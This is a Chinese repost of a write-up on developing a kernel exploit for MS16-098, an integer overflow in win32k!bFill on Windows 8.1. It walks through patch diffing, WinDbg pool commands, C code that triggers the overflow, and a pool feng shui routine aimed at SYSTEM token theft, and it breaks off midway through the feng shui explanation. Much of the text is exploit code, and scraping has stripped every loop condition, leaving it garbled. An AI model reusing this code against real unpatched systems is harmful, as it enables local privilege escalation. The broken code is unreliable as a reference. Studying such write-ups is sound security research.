首页 > 安全 > 系统安全 > 正文
从MS16-098看Windows 8.1内核漏洞利用
2017-01-12       个评论      
收藏    我要投稿

从MS16-098看Windows 8.1内核漏洞利用。在我刚开始接触内核漏洞时我没有任何有关内核的经验,更不用说去利用内核漏洞了,但我总是对于逆向工程和漏洞利用技术非常感兴趣。

最初,我的想法很简单:找到一个目前还没有可用exploit的可利用漏洞的补丁,从它开始我的逆向工程以及利用的旅途。这篇文章里谈及的漏洞不是我的最早选的那个:那个测试失败了。这实际上是我的第二选择,我花费了4个月的时间来了解有关这个漏洞的一切。

我希望这篇博客可以帮到那些渴望了解逆向工程和exploit开发的人。这是一个漫长的过程,而我又是一个内核exploit开发方面的新手,所以我希望你在阅读这篇文章时能够保持耐心。

使用的工具

Expand.exe (用于MSU文件)

Virtual KD http://virtualkd.sysprogs.org/(他们说自己比正常的内核调试要快上45倍是真的)

Windbg (kd)

IDA professional. https://www.hex-rays.com/products/ida/

Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html

Expand.exe的使用

Expand.exe可以用来从微软更新文件(MSU)和CAB文件中提取文件。

使用以下命令更新和提取CAB文件到指定目录:

Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO]

Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO]

\

如果命令后面接地址,会根据符号定义的结构进行dump

\

!pool,!poolfind和!poolused命令在我分析内核池溢出,进行内核池风水时帮了我很多。

一些有用的例子:

要dump指定地址的内核池页面布局,我们可以使用以下命令:

kd> !poolused [POOLTYPE] [POOLTAG]

\

要检索指定池类型中的指定池标记的对象的分配数量:

kd> !poolused [POOLTYPE] [POOLTAG]

\

要为指定的池标记搜索提供的池类型的完整分配的内核池地址空间。

kd> !poolfind [POOLTAG] [POOLTYPE]

\

Windbg使用技巧

相比其他调试器我个人更喜欢Windbg,因为它支持一些很有用的命令,特别是对于内核调试来说。

kd> dt [OBJECT SYMBOL NAME] [ADDR]

dt命令使用符号表定义的结构来dump内存,这在分析对象时非常有用,并且可以在对象的符号已导出时了解一些特殊的情况。

使用这个命令时如果不加地址那么会直接显示这个对象的结构。例如,要查看EPROCESS对象的结构,我们可以使用以下命令。

\

通过补丁对比来了解漏洞原理

下载好更新文件,我们打开后发现被修改了的文件是win32k.sys,版本是6.3.9600.18405。当与其旧版本6.3.9600.17393进行二进制对比时,我们使用的是IDA的Zynamics BinDiff插件。可以发现一个发生了更改的有趣函数的相似性评级是0.98。存在漏洞的函数是win32k!bFill。下面是两个版本之中的区别。

\

diff快速的展示出了一个整数溢出漏洞是如何通过加入一个UlongMult3函数来修补的,这个函数通过相乘来检测整数溢出。如果结果溢出了对象类型(即ULONG),则返回错误“INTSAFE_E_ARITHMETIC_OVERFLOW”。

这个函数被添加在调用PALLOCMEM2之前,PALLOCMEM2使用了一个经过检查的参数[rsp + Size]。这确认了这个整数溢出将导致分配小尺寸的对象; 那么问题是——这个值可以被用户通过某种方式控制吗?

当面临一个复杂问题的时候,建议先将它分解为更小的问题。 因为内核漏洞利用是一个大问题,所以一步一步进行似乎是一种好方法。步骤如下:

1.击中存在漏洞的函数

2.控制分配的大小

3.内核内存池(pool)Feng Shui技术

4.利用GDI位图对象(Bitmap GDI objects)

5.分析并且控制溢出

6.修复溢出的头部

7.从SYSTEM进程的内核进程对象(EPROCESS)中偷取表示权限的Token

8.成功得到SYSTEM权限

Step 1 –触发漏洞函数

首先,我们需要了解如何通过查看IDA中的函数定义来击中漏洞函数。可以看出,该函数在EPATHOBJ上起作用,并且函数名“bFill”说明它与填充路径有关。通过用谷歌搜索“msdn路径填充”,我得到了BeginPath函数和示例程序。

bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *)

理论上来说,如果我们使用示例中的代码,它应该会击中漏洞函数?

// Get Device context of desktop hwnd

hdc = GetDC(NULL);

//begin the drawing path

BeginPath(hdc);

// draw a line between the supplied points.

LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));

//End the path

EndPath(hdc);

//Fill Path

FillPath(hdc);

好吧,这没有实现。所以我在windbg中对每个函数的起始部分都添加了一个断点。

EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()

再次运行示例代码,发现第一个函数被命中,然后不再继续命中最后的函数是EngFastFill。为了不让深入的逆向分析过程给读者增加无聊的细节,我们这里直接给出结论。简而言之,这个函数是一个switch case结构,将最终会调用bPaintPath,bBrushPath或bBrushPathN_8x8。到底调用哪个则取决于一个画刷对象(brush object)关联的hdc。上面的代码甚至没有执行到switch case,它在之前就失败了。我发现有四种设备上下文类型

打印机

显示,它是默认值

信息

内存,它支持对位图对象的绘制操作。

根据提供的信息,我尝试将设备类型转换为内存(位图)如下:

// Get Device context of desktop hwnd

HDC hdc = GetDC(NULL);

// Get a compatible Device Context to assign Bitmap to

HDC hMemDC = CreateCompatibleDC(hdc);

// Create Bitmap Object

HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);

// Select the Bitmap into the Compatible DC

HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

//Begin path

BeginPath(hMemDC);

// draw a line between the supplied points.

LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));

// End the path

EndPath(hMemDC);

// Fill the path

FillPath(hMemDC);

事实证明,这正是击中漏洞函数bFill所需要做的。

Step 2 – Controlling the Allocation Size:

来看看分配部分的代码

\

在调用分配函数之前,首先检查[rbx + 4](rbx是我们的第一个参数,即EPATHOBJ)的值是否大于0x14.如果大于,则这个值被乘以3就是这里导致的整数溢出。

lea ecx, [rax+rax*2];

溢出发生实际上有两个原因:一是这个值被转换到32位寄存器ecx中和二是[rax + rax * 2]意味着值被乘以3。通过一些计算,我们可以得出结论,要溢出这个函数的值需要是:

0xFFFFFFFF / 3 = 0x55555555

任何大于上面的值都可以溢出32位的寄存器。

0x55555556 * 3 = 0x100000002

然后,做完乘法的结果又向左移了4位,一般左移4位被认为等同于乘以2 ^ 4。

0x100000002

目前为止,仍然没有结论如何去控制这个值,所以我决定阅读更多关于使用PATH对象进行Windows GDI利用的帖子,看看有没有什么思路。我很巧合的看到了一篇博文,讨论的是MS16-039的利用过程。这篇博文中讨论的漏洞与我们当前攻击的目标函数拥有相同的代码,就好像有人在这两个函数中复制粘贴代码一样。如果没有这篇博客,那么我会花费更多的时间在这上面,所以非常感谢你,NicoEconomou。

但是,人们会想当然的认为,可以直接从里面拿到一个伟大的指南,但实际上根本不是这样。虽然这篇文章真的很有助于利用思路。但真正的价值是,对于一对不同的利用,和我这样一个根本没有内核开发和内核利用经验的人,我不得不深入到利用过程中的每个方面,并了解它的工作原理。就是说——“授人以鱼不如授人以渔”

我们继续,那个值是PATH对象中的point数,并且可以通过多次调用PolylineTo函数来控制。触发50字节分配的代码是:

//Create a Point array

static POINT points[0x3fe01];

// Get Device context of desktop hwnd

HDC hdc = GetDC(NULL);

// Get a compatible Device Context to assign Bitmap to

HDC hMemDC = CreateCompatibleDC(hdc);

// Create Bitmap Object

HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);

// Select the Bitmap into the Compatible DC

HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

//Begin path

BeginPath(hMemDC);

// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.

for (int j = 0; j

PolylineTo(hMemDC, points, 0x3FE01);

}

}

// End the path

EndPath(hMemDC);

// Fill the path

FillPath(hMemDC);

通过以point数0x3FE01调用PolylineTo函数0x156次将产生

0x156 * 0x3FE01 = 0x5555556

注意,这个数字小于前面计算产生的数字,原因是实际中当该位左移4位时,最低的半字节将被移出32位寄存器,而剩下的是小数。另一件值得一提的是,应用程序将向point列表中添加一个额外的point,因此传递给溢出指令的数字将为0x5555557。让我们计算一下,看看它会如何工作。

0x5555557 * 0x3 = 0x10000005

0x10000005

到那时候,将会分配50字节大小,应用程序将尝试复制0x5555557大小的数据到那一小块内存,这将迅速导致一个蓝屏,并且我们成功的触发了漏洞!

Step 3 – 内核内存池Feng Shui:

现在开始困难的部分:内核池风水

内核池风水是一种用于控制内存布局的技术,通过分配和释放内存的调用在目标对象分配之前,先使内存处于确定的状态。这种想法是想要强制我们的目标对象分配在我们可控对象的附近,然后溢出相邻的对象并使用发生溢出的对象来利用内存破坏原语(译注:所谓的“内存破坏原语”,指的应该是一些可以被利用的指令,比如mov [eax],xxx 可以进行写),获得读/写内核内存的能力。我选择的对象是Bitmap,具有池标签Gh05(pool tag),他会被分配给相同的页会话池,并且可以使用SetBitmapBits/GetBitmapBits来控制写/读到任意位置。

发生崩溃是因为在bFill函数结束时,会释放分配的对象,当对象被释放时,内核会验证内存池中相邻块的块头部。如果它被损坏,将抛出错误BAD_POOL_HEADER并退出。由于我们溢出了相邻的页面,所以这个检查将会失败,并且会发生蓝屏。

避开这个检查导致的崩溃的窍门是强制我们的对象分配在内存页的结尾。这样,将不会有下一个块,并且对free()的调用将正常传递。要实现这个FengShui需要记住以下几点:

内核池页面大小为0x1000字节,任何更大的分配将分配到大内核池(Large kernel Pool)。

任何大于0x808字节的分配都会被分配到内存页的开始。

后续分配将从内存页末尾开始分配。

分配需要相同的池类型,在我们的情况下是分页会话池(Paged)。

分配对象通常会添加大小为0x10的池头。 如果分配的对象是0x50,分配器将实际分配0x60,包括池头。

有了这些,就可以开发内核池风水了,来看看这将如何工作,看看漏洞代码:

void fungshuei() {

HBITMAP bmp;

// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.

for (int k = 0; k

bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0

bitmaps[k] = bmp;

}

HACCEL hAccel, hAccel2;

LPACCEL lpAccel;

// Initial setup for pool fengshui.

lpAccel = (LPACCEL)malloc(sizeof(ACCEL));

SecureZeroMemory(lpAccel, sizeof(ACCEL));

// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.

HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);

HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);

for (INT i = 0; i

hAccel = CreateAcceleratorTableA(lpAccel, 1);

hAccel2 = CreateAcceleratorTableW(lpAccel, 1);

pAccels[i] = hAccel;

pAccels2[i] = hAccel2;

}

// Delete the allocated bitmaps to free space at beginning of pages

for (int k = 0; k

DeleteObject(bitmaps[k]);

}

//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.

for (int k = 0; k

CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0

}

// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated

for (int k = 0; k

bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0

bitmaps[k] = bmp;

}

// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60

for (int k = 0; k

AllocateClipBoard2(0x30);

}

// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.

for (int k = 2000; k

DestroyAcceleratorTable(pAccels[k]);

DestroyAcceleratorTable(pAccels2[k]);

}

}

可以清楚地看到分配/解除分配的流量,GIF值得一千字

\

通过分配/释放调用,显示实际发生的事情,内核风水的第一步是:

HBITMAP bmp;

// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.

for (int k = 0; k

bmp = CreateBitmap(1670, 2, 1, 8, NULL);

bitmaps[k] = bmp;

}

从5000个大小为0xf80的Bitmap对象的分配开始。这将最终开始分配新的内存页面,每个页面将以大小为0xf80的Bitmap对象开始,并在页面结尾留下0x80字节的空间。如果想要检查喷射是否工作,我们可以在bFill内调用PALLOCMEM,并使用poolused 0x8 Gh?5来查看分配了多少个位图对象。另一件事是,如何计算提供给CreateBitmap()函数的大小转换为由内核分配的Bitmap对象。其实这只是一个近似的计算,需要不断的尝试和纠错,通过不断的更改位图的大小,并使用poolfind命令查看分配的大小进行修正。

// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.

HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);

HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);

for (INT i = 0; i

hAccel = CreateAcceleratorTableA(lpAccel, 1);

hAccel2 = CreateAcceleratorTableW(lpAccel, 1);

pAccels[i] = hAccel;

pAccels2[i] = hAccel2;

}

然后,分配7000个加速器表对象(Usac)。每个Usac的大小为0x40,因此其中有两个将分配到剩下的0x80字节的内存中。这将填充前面的分配轮次的剩余0x80字节,并完全填充我们的页面(0xf80 + 80 = 0x1000)。

// Delete the allocated bitmaps to free space at beginning of pages

for (int k = 0; k

DeleteObject(bitmaps[k]);

}

下一次分配以前分配的对象将保留有我们的内存页布局,在页的开头有0xf80个空闲字节。

//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.

for (int k = 0; k

CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0

}

分配5000个大小为0xbc0字节的区域对象(Gh04)。这个大小是必要的,因为如果Bitmap对象直接放置在我们的目标对象附近,溢出它就覆盖不到Bitmap对象中的我们目标的成员(在后面部分讨论),而我们需要溢出这个目标成员配合GetBitmapBits/SetBitmapBits来读/写内核内存。至于如何计算分配的对象的大小与提供给CreateEllipticRgn函数的参数相关,需要通过不断的尝试和修正来找到的。

点击复制链接 与好友分享!回本站首页
上一篇:Windows exploit开发系列教程:内核利用- >内存池溢出
下一篇:内核调试入门教程
相关文章
图文推荐
文章
推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站